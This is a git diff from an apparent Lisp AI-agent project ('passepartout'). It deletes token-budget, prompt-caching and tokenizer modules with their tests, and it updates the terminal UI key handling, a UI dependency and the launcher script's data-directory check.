-(fiveam:test test-messaging-link-unlink - "Contract Phase2: messaging-link stores token, configured-p returns T, unlink removes it." - (with-daemon () - (messaging-link :test-platform :token "fake-token-123") - (is (gateway-configured-p :test-platform) - "Expected test-platform to be configured after linking") - (messaging-unlink :test-platform) - (is (not (gateway-configured-p :test-platform)) - "Expected test-platform to be unconfigured after unlinking"))) - -(fiveam:test test-gateway-configured-p-false - "Contract Phase2: gateway-configured-p returns nil for unknown platform." - (with-daemon () - (is (not (gateway-configured-p :nonexistent-platform-xyz))))) - -(fiveam:test test-gateway-start-messaging - "Contract Phase2: gateway registry initializes with expected platforms." - (with-daemon () - (gateway-registry-initialize) - (is (hash-table-p passepartout::*gateway-registry*)) - (is (>= (hash-table-count passepartout::*gateway-registry*) 1)))) - -(fiveam:test test-flight-plan-message-format - "Contract Phase3: dispatcher-flight-plan-create returns valid message." - (with-daemon () - (load (merge-pathnames ".local/share/passepartout/lisp/security-dispatcher.lisp" - (user-homedir-pathname))) - (let ((plan (dispatcher-flight-plan-create - '(:TYPE :REQUEST :TARGET :shell :PAYLOAD (:CMD "sudo restart"))))) - (is (eq :REQUEST (getf plan :type))) - (is (eq :emacs (getf plan :target))) - (is (eq :insert-node (getf (getf plan :payload) :action))) - (let ((attrs (getf (getf plan :payload) :attributes))) - (is (string= "Flight Plan: High-Risk Action" (getf attrs :TITLE))) - (is (string= "PLAN" (getf attrs :TODO))) - (is (member "FLIGHT_PLAN" (getf attrs :TAGS) :test #'string-equal)))))) - -(fiveam:test test-emacs-daemon-connect - "Contract Phase3: Emacs daemon is reachable via emacsclient." - (handler-case - (let ((result (uiop:run-program '("emacsclient" "--eval" "(+ 1 2)") - :output :string - :ignore-error-status t))) - (is (search "3" result) "Expected '3' from emacsclient, got: ~a" result)) - (error (c) - (skip "Emacs daemon not available: ~a" c))))) diff --git a/lisp/token-economics.lisp b/lisp/token-economics.lisp deleted file mode 100644 index 3821474..0000000 --- a/lisp/token-economics.lisp +++ /dev/null @@ -1,387 +0,0 @@ -(in-package :passepartout) - -(defvar *prompt-prefix-cache* (cons nil "") - "Prompt prefix cache: (sxhash . cached-string). Rebuilt when IDENTITY or TOOLS change.") - -(defvar *context-cache* (list :foveal-id nil :scope nil :memory-timestamp 0 :rendered "" - :identity-tokens 0 :tool-tokens 0 :context-tokens 0 - :log-tokens 0 :config-tokens 0 :time-tokens 0) - "Context assembly cache: metadata + last rendered context string.") - -(defun prompt-prefix-cached (assistant-name identity-content feedback mandates-text tool-belt) - "Build the static IDENTITY+TOOLS system prompt prefix. -Uses sxhash on inputs to detect changes; returns cached string on cache hit." - (let* ((hash-key (sxhash (list assistant-name identity-content feedback mandates-text tool-belt))) - (cached-hash (car *prompt-prefix-cache*)) - (cached-str (cdr *prompt-prefix-cache*))) - (if (and cached-str (> (length cached-str) 0) (= hash-key cached-hash)) - cached-str - (let ((new-prefix (format nil "IDENTITY: ~a~a~a~a~%~%TOOLS:~%~a" - assistant-name identity-content feedback - (if (and mandates-text (> (length mandates-text) 0)) - (concatenate 'string (string #\Newline) mandates-text) - "") - tool-belt))) - (setf (car *prompt-prefix-cache*) hash-key - (cdr *prompt-prefix-cache*) new-prefix) - new-prefix)))) - -(defun context-assemble-cached (context sensor) - "Incrementally assemble awareness context. -Skips assembly for heartbeat/delegation sensors. -Uses cache when foveal, scope, and memory timestamp are unchanged." - (when (member sensor '(:heartbeat :delegation)) - (return-from context-assemble-cached nil)) - (unless (fboundp 'context-assemble-global-awareness) - (return-from context-assemble-cached "[Awareness skill not loaded]")) - (let* ((foveal-id (getf context :foveal-focus)) - (scope (if (and (boundp '*scope-resolver*) - *scope-resolver*) - (funcall *scope-resolver*) - nil)) - (mem-ts (hash-table-count *memory-store*)) - (cache-foveal (getf *context-cache* :foveal-id)) - (cache-scope (getf *context-cache* :scope)) - (cache-ts (getf *context-cache* :memory-timestamp)) - (cache-rendered (getf *context-cache* :rendered))) - (if (and (equal foveal-id cache-foveal) - (eq scope cache-scope) - (= mem-ts cache-ts) - cache-rendered - (> (length cache-rendered) 0)) - cache-rendered - (let ((rendered (funcall (symbol-function 'context-assemble-global-awareness)))) - (setf (getf *context-cache* :foveal-id) foveal-id - (getf *context-cache* :scope) scope - (getf *context-cache* :memory-timestamp) mem-ts - (getf *context-cache* :rendered) rendered) - rendered)))) - -(defun enforce-token-budget (prefix context-text logs-text user-prompt mandates-text - &optional (max-tokens nil)) - "Enforce per-call token budget via progressive trimming. -Returns (values prefix context-text logs-text user-prompt mandates-text) -with trimmed sections." - (let ((max (or max-tokens - (ignore-errors - (parse-integer (uiop:getenv "CONTEXT_MAX_TOKENS"))) - 16384))) - (labels ((ct (s) (if (fboundp 'count-tokens) - (funcall (symbol-function 'count-tokens) s) - (ceiling (length s) 4))) - (total-tokens (p c l u m) - (+ (ct p) - (if c (ct c) 0) - (ct l) - (ct u) - (if m (ct m) 0)))) - (let ((total (total-tokens prefix context-text logs-text user-prompt mandates-text))) - (when (> total max) - (log-message "TOKEN BUDGET: ~d tokens exceeds max ~d, trimming..." - total max) - ;; L1: truncate logs to last 5 lines - (let* ((log-lines (uiop:split-string logs-text :separator '(#\Newline))) - (trimmed (if (> (length log-lines) 5) - (format nil "~{~a~^~%~}" (last log-lines 5)) - logs-text))) - (setf total (total-tokens prefix context-text trimmed user-prompt mandates-text) - logs-text trimmed) - (when (> total max) - ;; L2: drop standing mandates - (setf total (total-tokens prefix context-text logs-text user-prompt nil) - mandates-text nil) - (when (> total max) - ;; L3: downgrade context to summary - (let ((ctxt-lines (uiop:split-string (or context-text "") :separator '(#\Newline)))) - (setf context-text - (format nil "[Context trimmed: ~d items]" (length ctxt-lines))))))))) - (values prefix context-text logs-text user-prompt mandates-text)))) - -(defun token-economics-initialize () - "Zero cache state at daemon boot." - (setf (car *prompt-prefix-cache*) nil - (cdr *prompt-prefix-cache*) "" - (getf *context-cache* :foveal-id) nil - (getf *context-cache* :scope) nil - (getf *context-cache* :memory-timestamp) 0 - (getf *context-cache* :rendered) "")) - -(defun context-usage-percentage () - "Returns integer 0-100: current token budget consumption. -Returns nil when no context cache data is available." - (let* ((limit (or (ignore-errors - (parse-integer (uiop:getenv "CONTEXT_MAX_TOKENS"))) - 16384)) - (tokens (+ (or (getf *context-cache* :identity-tokens) 0) - (or (getf *context-cache* :tool-tokens) 0) - (or (getf *context-cache* :context-tokens) 0) - (or (getf *context-cache* :log-tokens) 0) - (or (getf *context-cache* :config-tokens) 0) - (or (getf *context-cache* :time-tokens) 0)))) - (if (> tokens 0) - (min 100 (floor (* 100 tokens) limit)) - nil))) - -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-token-economics-tests - (:use :cl :fiveam :passepartout) - (:export #:token-economics-suite)) - -(in-package :passepartout-token-economics-tests) - -(def-suite token-economics-suite - :description "Prompt prefix caching, incremental context, token budget") -(in-suite token-economics-suite) - -(test test-prompt-prefix-cached-identity - "Contract 1: prompt-prefix-cached includes identity-content when provided." - (setf (car passepartout::*prompt-prefix-cache*) nil - (cdr passepartout::*prompt-prefix-cache*) "") - (let ((prefix (passepartout::prompt-prefix-cached - "Agent" "### Mode: concise" "" nil "No tools"))) - (is (stringp prefix)) - (is (search "IDENTITY" prefix)) - (is (search "Mode: concise" prefix)) - (is (search "TOOLS" prefix)))) - -(test test-prompt-prefix-cached-builds - "Contract 1: prompt-prefix-cached returns a string containing IDENTITY." - (setf (car passepartout::*prompt-prefix-cache*) nil - (cdr passepartout::*prompt-prefix-cache*) "") - (let ((prefix (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools"))) - (is (stringp prefix)) - (is (search "IDENTITY" prefix)) - (is (search "TOOLS" prefix)))) - -(test test-prompt-prefix-cached-hits - "Contract 1: second call with same inputs returns cached result." - (setf (car passepartout::*prompt-prefix-cache*) nil - (cdr passepartout::*prompt-prefix-cache*) "") - (let ((p1 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools")) - (p2 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools"))) - (is (string= p1 p2)))) - -(test test-prompt-prefix-cached-miss - "Contract 1: different inputs rebuild the cache." - (setf (car passepartout::*prompt-prefix-cache*) nil - (cdr passepartout::*prompt-prefix-cache*) "") - (let ((p1 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools")) - (p2 (passepartout::prompt-prefix-cached "Bot" "" "" nil "No tools"))) - (is (not (string= p1 p2))) - (is (search "Bot" p2)))) - -(test test-context-assemble-cached-skips-heartbeat - "Contract 2: heartbeat sensors skip context assembly, return nil." - (let ((result (passepartout::context-assemble-cached - '(:foveal-focus "id1") :heartbeat))) - (is (null result)))) - -(test test-context-assemble-cached-skips-delegation - "Contract 2: delegation sensors also skip assembly." - (let ((result (passepartout::context-assemble-cached - '(:foveal-focus "id1") :delegation))) - (is (null result)))) - -(test test-context-assemble-cached-non-skip - "Contract 2: user-input sensors attempt assembly (fails gracefully without awareness)." - (let ((result (passepartout::context-assemble-cached - '(:foveal-focus "id1") :user-input))) - (is (stringp result)) - (is (> (length result) 0)))) - -(test test-enforce-token-budget-passthrough - "Contract 3: under-budget prompts pass through unchanged." - (multiple-value-bind (p c l u m) - (passepartout::enforce-token-budget "hi" "ctxt" "log" "user" nil 100000) - (is (string= "hi" p)) - (is (string= "ctxt" c)) - (is (string= "log" l)) - (is (string= "user" u)) - (is (null m)))) - -(test test-enforce-token-budget-trims - "Contract 3: over-budget prompts get trimmed." - (let ((big-prefix (make-string 20000 :initial-element #\x))) - (multiple-value-bind (p c l u m) - (passepartout::enforce-token-budget big-prefix "ctxt" "logs\nlogs\nlogs\nlogs\nlogs\nlogs\nlogs" "user" nil 10) - (declare (ignore p l u m)) - ;; The prefix itself exceeds the tiny 10-token budget, so everything gets trimmed - (is (or (stringp c) (null c))) - (is (search "[Context trimmed" (or c "")))))) - -(test test-token-economics-initialize - "Contract 4: initialize zeroes all cache state." - (setf (car passepartout::*prompt-prefix-cache*) 12345 - (cdr passepartout::*prompt-prefix-cache*) "stale") - (setf (getf passepartout::*context-cache* :rendered) "stale context") - (passepartout::token-economics-initialize) - (is (null (car passepartout::*prompt-prefix-cache*))) - (is (string= "" (cdr passepartout::*prompt-prefix-cache*))) - (is (string= "" (getf passepartout::*context-cache* :rendered)))) -#+end_src* v0.8.0 Tests — Context Usage -#+begin_src lisp -(in-package :passepartout-token-economics-tests) - -(test test-context-usage-percentage - "Contract 5: context-usage-percentage returns integer 0-100." - ;; Set up a cache with known token counts - (let* ((ctx passepartout::*context-cache*) - (limit (or (ignore-errors (parse-integer (uiop:getenv "CONTEXT_MAX_TOKENS"))) - 16384))) - (setf (getf ctx :identity-tokens) 1000 - (getf ctx :tool-tokens) 500 - (getf ctx :context-tokens) 2000 - (getf ctx :log-tokens) 800 - (getf ctx :config-tokens) 200 - (getf ctx :time-tokens) 100) - (let ((pct (passepartout::context-usage-percentage))) - (is (integerp pct)) - (is (<= 0 pct 100))))) - -(test test-context-usage-percentage-empty-cache - "Contract 5: context-usage-percentage returns nil with no cache data." - (let ((saved-ctx (copy-list passepartout::*context-cache*))) - (unwind-protect - (progn - (setf (getf passepartout::*context-cache* :identity-tokens) nil - (getf passepartout::*context-cache* :tool-tokens) nil - (getf passepartout::*context-cache* :context-tokens) nil - (getf passepartout::*context-cache* :log-tokens) nil - (getf passepartout::*context-cache* :config-tokens) nil - (getf passepartout::*context-cache* :time-tokens) nil) - (is (null (passepartout::context-usage-percentage)))) - (setf passepartout::*context-cache* saved-ctx)))) - -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-token-economics-tests - (:use :cl :fiveam :passepartout) - (:export #:token-economics-suite)) - -(in-package :passepartout-token-economics-tests) - -(def-suite token-economics-suite - :description "Prompt prefix caching, incremental context, token budget") -(in-suite token-economics-suite) - -(test test-prompt-prefix-cached-identity - "Contract 1: prompt-prefix-cached includes identity-content when provided." - (setf (car passepartout::*prompt-prefix-cache*) nil - (cdr passepartout::*prompt-prefix-cache*) "") - (let ((prefix (passepartout::prompt-prefix-cached - "Agent" "### Mode: concise" "" nil "No tools"))) - (is (stringp prefix)) - (is (search "IDENTITY" prefix)) - (is (search "Mode: concise" prefix)) - (is (search "TOOLS" prefix)))) - -(test test-prompt-prefix-cached-builds - "Contract 1: prompt-prefix-cached returns a string containing IDENTITY." - (setf (car passepartout::*prompt-prefix-cache*) nil - (cdr passepartout::*prompt-prefix-cache*) "") - (let ((prefix (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools"))) - (is (stringp prefix)) - (is (search "IDENTITY" prefix)) - (is (search "TOOLS" prefix)))) - -(test test-prompt-prefix-cached-hits - "Contract 1: second call with same inputs returns cached result." - (setf (car passepartout::*prompt-prefix-cache*) nil - (cdr passepartout::*prompt-prefix-cache*) "") - (let ((p1 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools")) - (p2 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools"))) - (is (string= p1 p2)))) - -(test test-prompt-prefix-cached-miss - "Contract 1: different inputs rebuild the cache." - (setf (car passepartout::*prompt-prefix-cache*) nil - (cdr passepartout::*prompt-prefix-cache*) "") - (let ((p1 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools")) - (p2 (passepartout::prompt-prefix-cached "Bot" "" "" nil "No tools"))) - (is (not (string= p1 p2))) - (is (search "Bot" p2)))) - -(test test-context-assemble-cached-skips-heartbeat - "Contract 2: heartbeat sensors skip context assembly, return nil." - (let ((result (passepartout::context-assemble-cached - '(:foveal-focus "id1") :heartbeat))) - (is (null result)))) - -(test test-context-assemble-cached-skips-delegation - "Contract 2: delegation sensors also skip assembly." - (let ((result (passepartout::context-assemble-cached - '(:foveal-focus "id1") :delegation))) - (is (null result)))) - -(test test-context-assemble-cached-non-skip - "Contract 2: user-input sensors attempt assembly (fails gracefully without awareness)." - (let ((result (passepartout::context-assemble-cached - '(:foveal-focus "id1") :user-input))) - (is (stringp result)) - (is (> (length result) 0)))) - -(test test-enforce-token-budget-passthrough - "Contract 3: under-budget prompts pass through unchanged." - (multiple-value-bind (p c l u m) - (passepartout::enforce-token-budget "hi" "ctxt" "log" "user" nil 100000) - (is (string= "hi" p)) - (is (string= "ctxt" c)) - (is (string= "log" l)) - (is (string= "user" u)) - (is (null m)))) - -(test test-enforce-token-budget-trims - "Contract 3: over-budget prompts get trimmed." - (let ((big-prefix (make-string 20000 :initial-element #\x))) - (multiple-value-bind (p c l u m) - (passepartout::enforce-token-budget big-prefix "ctxt" "logs\nlogs\nlogs\nlogs\nlogs\nlogs\nlogs" "user" nil 10) - (declare (ignore p l u m)) - ;; The prefix itself exceeds the tiny 10-token budget, so everything gets trimmed - (is (or (stringp c) (null c))) - (is (search "[Context trimmed" (or c "")))))) - -(test test-token-economics-initialize - "Contract 4: initialize zeroes all cache state." - (setf (car passepartout::*prompt-prefix-cache*) 12345 - (cdr passepartout::*prompt-prefix-cache*) "stale") - (setf (getf passepartout::*context-cache* :rendered) "stale context") - (passepartout::token-economics-initialize) - (is (null (car passepartout::*prompt-prefix-cache*))) - (is (string= "" (cdr passepartout::*prompt-prefix-cache*))) - (is (string= "" (getf passepartout::*context-cache* :rendered)))) -#+end_src* v0.8.0 Tests — Context Usage -#+begin_src lisp -(in-package :passepartout-token-economics-tests) - -(test test-context-usage-percentage - "Contract 5: context-usage-percentage returns integer 0-100." - ;; Set up a cache with known token counts - (let* ((ctx passepartout::*context-cache*) - (limit (or (ignore-errors (parse-integer (uiop:getenv "CONTEXT_MAX_TOKENS"))) - 16384))) - (setf (getf ctx :identity-tokens) 1000 - (getf ctx :tool-tokens) 500 - (getf ctx :context-tokens) 2000 - (getf ctx :log-tokens) 800 - (getf ctx :config-tokens) 200 - (getf ctx :time-tokens) 100) - (let ((pct (passepartout::context-usage-percentage))) - (is (integerp pct)) - (is (<= 0 pct 100))))) - -(test test-context-usage-percentage-empty-cache - "Contract 5: context-usage-percentage returns nil with no cache data." - (let ((saved-ctx (copy-list passepartout::*context-cache*))) - (unwind-protect - (progn - (setf (getf passepartout::*context-cache* :identity-tokens) nil - (getf passepartout::*context-cache* :tool-tokens) nil - (getf passepartout::*context-cache* :context-tokens) nil - (getf passepartout::*context-cache* :log-tokens) nil - (getf passepartout::*context-cache* :config-tokens) nil - (getf passepartout::*context-cache* :time-tokens) nil) - (is (null (passepartout::context-usage-percentage)))) - (setf passepartout::*context-cache* saved-ctx)))) diff --git a/lisp/tokenizer.lisp b/lisp/tokenizer.lisp deleted file mode 100644 index dba05ae..0000000 --- a/lisp/tokenizer.lisp +++ /dev/null @@ -1,146 +0,0 @@ -(in-package :passepartout) - -(defparameter *model-token-ratios* - '((:gpt-4o-mini . 4.0) - (:gpt-4o . 4.0) - (:gpt-3.5-turbo . 4.0) - (:claude-3-5-sonnet . 4.5) - (:claude-3-opus . 4.5) - (:claude-3-haiku . 4.5) - (:deepseek-chat . 4.0) - (:deepseek-reasoner . 4.0) - (:llama-3.1-70b . 3.5) - (:llama-3.1-405b . 3.5) - (:gemini-2.0-flash . 4.0) - (:gemini-1.5-pro . 4.0) - (:openrouter/auto . 4.0)) - "Estimated characters per token for each model family.") - -(defparameter *default-token-ratio* 4.0 - "Fallback characters-per-token ratio when model is unknown.") - -(defun model-token-ratio (model-keyword) - "Returns the estimated characters-per-token for MODEL-KEYWORD. -Falls back to *DEFAULT-TOKEN-RATIO* for unknown models." - (or (cdr (assoc model-keyword *model-token-ratios*)) - *default-token-ratio*)) - -(defun count-tokens (text &key model) - "Returns the estimated token count for TEXT. -Uses character-count / ratio heuristic calibrated per model family. -MODEL is a keyword identifying the model (e.g. :gpt-4o-mini)." - (let ((clean (if (stringp text) text (format nil "~a" text)))) - (ceiling (length clean) (model-token-ratio model)))) - -(defparameter *token-prices* - '((:gpt-4o-mini . 0.15) ; $0.15/1M input tokens - (:gpt-4o . 2.50) ; $2.50/1M input tokens - (:gpt-3.5-turbo . 0.50) ; $0.50/1M input tokens - (:claude-3-5-sonnet . 3.00) ; $3.00/1M input tokens - (:claude-3-opus . 15.00) ; $15.00/1M input tokens - (:claude-3-haiku . 0.25) ; $0.25/1M input tokens - (:deepseek-chat . 0.27) ; $0.27/1M input tokens - (:deepseek-reasoner . 0.55) ; $0.55/1M input tokens - (:llama-3.1-70b . 0.59) ; Groq: $0.59/1M - (:llama-3.1-405b . 1.30) ; NVIDIA NIM: ~$1.30/1M - (:gemini-2.0-flash . 0.10) ; $0.10/1M input - (:gemini-1.5-pro . 1.25)) ; $1.25/1M input - "Provider pricing in USD per 1M input tokens. -Prices sourced as of 2026-05. Output tokens cost 2-5× more; -we bill at input rates as a conservative estimate.") - -(defun token-cost (model token-count) - "Returns the estimated cost in USD for TOKEN-COUNT tokens at MODEL's price. -Returns 0.0 for unknown models." - (let ((price-per-1m (or (cdr (assoc model *token-prices*)) 0.0))) - (* (/ price-per-1m 1000000.0) token-count))) - -(defparameter *provider-default-models* - '((:deepseek . :deepseek-chat) - (:openai . :gpt-4o-mini) - (:anthropic . :claude-3-5-sonnet) - (:groq . :llama-3.1-70b) - (:gemini . :gemini-2.0-flash) - (:nvidia . :llama-3.1-405b) - (:openrouter . :openrouter/auto)) - "Maps provider keywords to their default model families for cost tracking.") - -(defun provider-token-cost (provider token-count) - "Returns the estimated cost in USD for a given PROVIDER and TOKEN-COUNT. -Uses the provider's default model for pricing." - (let ((model (cdr (assoc provider *provider-default-models*)))) - (if model - (token-cost model token-count) - 0.0))) - -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-tokenizer-tests - (:use :cl :fiveam :passepartout) - (:export #:tokenizer-suite)) - -(in-package :passepartout-tokenizer-tests) - -(def-suite tokenizer-suite :description "Token counting and cost estimation") -(in-suite tokenizer-suite) - -(test test-count-tokens-default - "Contract 1: count-tokens returns non-zero for a non-empty string." - (let ((count (count-tokens "hello world"))) - (is (> count 0)) - (is (integerp count)))) - -(test test-count-tokens-known-model - "Contract 1: count-tokens with a known model returns a count." - (let ((count (count-tokens "hello world" :model :gpt-4o-mini))) - (is (> count 0)) - (is (integerp count)))) - -(test test-count-tokens-unknown-model - "Contract 1: count-tokens with an unknown model falls back to default." - (let ((count (count-tokens "hello world" :model :unknown-model-xyz))) - (is (> count 0)) - (is (integerp count)))) - -(test test-count-tokens-empty - "Contract 1: count-tokens on empty string returns 0." - (let ((count (count-tokens ""))) - (is (= 0 count)))) - -(test test-model-token-ratio-known - "Contract 2: known model returns correct ratio." - (is (= 4.0 (model-token-ratio :gpt-4o-mini))) - (is (= 4.5 (model-token-ratio :claude-3-5-sonnet))) - (is (= 3.5 (model-token-ratio :llama-3.1-70b)))) - -(test test-model-token-ratio-unknown - "Contract 2: unknown model returns default ratio." - (is (= 4.0 (model-token-ratio :unknown-model-abc)))) - -(test test-token-cost-known - "Contract 3: token-cost returns a number for known model." - (let ((cost (token-cost :gpt-4o-mini 1000))) - (is (numberp cost)) - (is (> cost 0.0)))) - -(test test-token-cost-unknown - "Contract 3: token-cost returns 0.0 for unknown model." - (is (= 0.0 (token-cost :no-such-model 1000)))) - -(test test-provider-token-cost - "Contract: provider-token-cost maps provider to model price." - (let ((cost (provider-token-cost :deepseek 1000))) - (is (numberp cost)) - (is (> cost 0.0)))) - -(test test-count-tokens-ratio-sensitivity - "Contract 1: longer text produces proportionally more tokens." - (let ((short (count-tokens "hi" :model :gpt-4o-mini)) - (long (count-tokens "this is a much longer piece of text with many words in it" :model :gpt-4o-mini))) - (is (> long short)))) - -(test test-count-tokens-non-string - "Contract 1: non-string values are coerced and counted." - (let ((count (count-tokens 12345))) - (is (> count 0)))) diff --git a/org/channel-tui-main.org b/org/channel-tui-main.org index d0bf464..d8f145a 100644 --- a/org/channel-tui-main.org +++ b/org/channel-tui-main.org @@ -34,7 +34,9 @@ Event handlers + daemon I/O + main loop. #+BEGIN_SRC lisp :tangle /home/user/.local/share/passepartout/lisp/channel-tui-main.lisp (in-package :passepartout.channel-tui) -(defun on-key (ch) +(defun on-key (key &key ctrl alt shift code) + (let ((ch key)) + (declare (ignore alt shift)) (cond ;; v0.7.1: Esc — interrupt streaming ((and (or (eq ch :escape) (eql ch 27)) (st :streaming-text)) @@ -563,7 +565,7 @@ Event handlers + daemon I/O + main loop. (setf (st :dirty) (list nil nil t)) (when (and (char= chr #\/) (null (st :dialog-stack)) (= (length (st :input-buffer)) 1)) - (unified-menu-show "/"))))))) + (unified-menu-show "/")))))))) ;; v0.9.0 — unified command minibuffer (replaces separate palette and slash menus) (defun unified-menu-show (&optional initial-filter) diff --git a/org/core-manifest.org b/org/core-manifest.org index 5110344..b892c7c 100644 --- a/org/core-manifest.org +++ b/org/core-manifest.org @@ -43,11 +43,11 @@ Tests are embedded directly in each module's source file — see the `* Test Sui ** TUI System -The TUI is a standalone system that depends on Croatoan (ncurses bindings) in addition to the core opencortex system. It's loaded separately because Croatoan requires a terminal and is not needed for daemon-mode operation. +The TUI is a standalone system that depends on cl-tty (pure CL terminal UI) in addition to the core system. It's loaded separately because it requires a terminal and is not needed for daemon-mode operation. #+begin_src lisp (defsystem :passepartout/tui - :depends-on (:passepartout :croatoan :usocket :bordeaux-threads) + :depends-on (:passepartout :cl-tty :usocket :bordeaux-threads) :serial t :components ((:file "lisp/channel-tui-state") (:file "lisp/channel-tui-view") diff --git a/passepartout b/passepartout index 45ce7e1..e0a37d5 100755 --- a/passepartout +++ b/passepartout @@ -17,7 +17,7 @@ done export SCRIPT_DIR="$( cd -P "$( dirname "$SOURCE" )" && pwd )" export PASSEPARTOUT_CONFIG_DIR="$(realpath -m "${XDG_CONFIG_HOME:-$HOME/.config}/passepartout")" -export PASSEPARTOUT_DATA_DIR="${PASSEPARTOUT_DATA_DIR:-$(if [ -d "$HOME/memex/projects/passepartout/lisp" ]; then realpath -m "$HOME/memex/projects/passepartout"; else realpath -m "${XDG_DATA_HOME:-$HOME/.local/share}/passepartout"; fi)}" +export PASSEPARTOUT_DATA_DIR="${PASSEPARTOUT_DATA_DIR:-$(if ls "$HOME/memex/projects/passepartout/lisp/"*.lisp >/dev/null 2>&1; then realpath -m "$HOME/memex/projects/passepartout"; else realpath -m "${XDG_DATA_HOME:-$HOME/.local/share}/passepartout"; fi)}" export PASSEPARTOUT_STATE_DIR="$(realpath -m "${XDG_STATE_HOME:-$HOME/.local/state}/passepartout")" export PASSEPARTOUT_BIN_DIR="$(realpath -m "${XDG_BIN_HOME:-$HOME/.local/bin}")" export PASSEPARTOUT_MEMEX_DIR="${PASSEPARTOUT_MEMEX_DIR:-$HOME/memex}"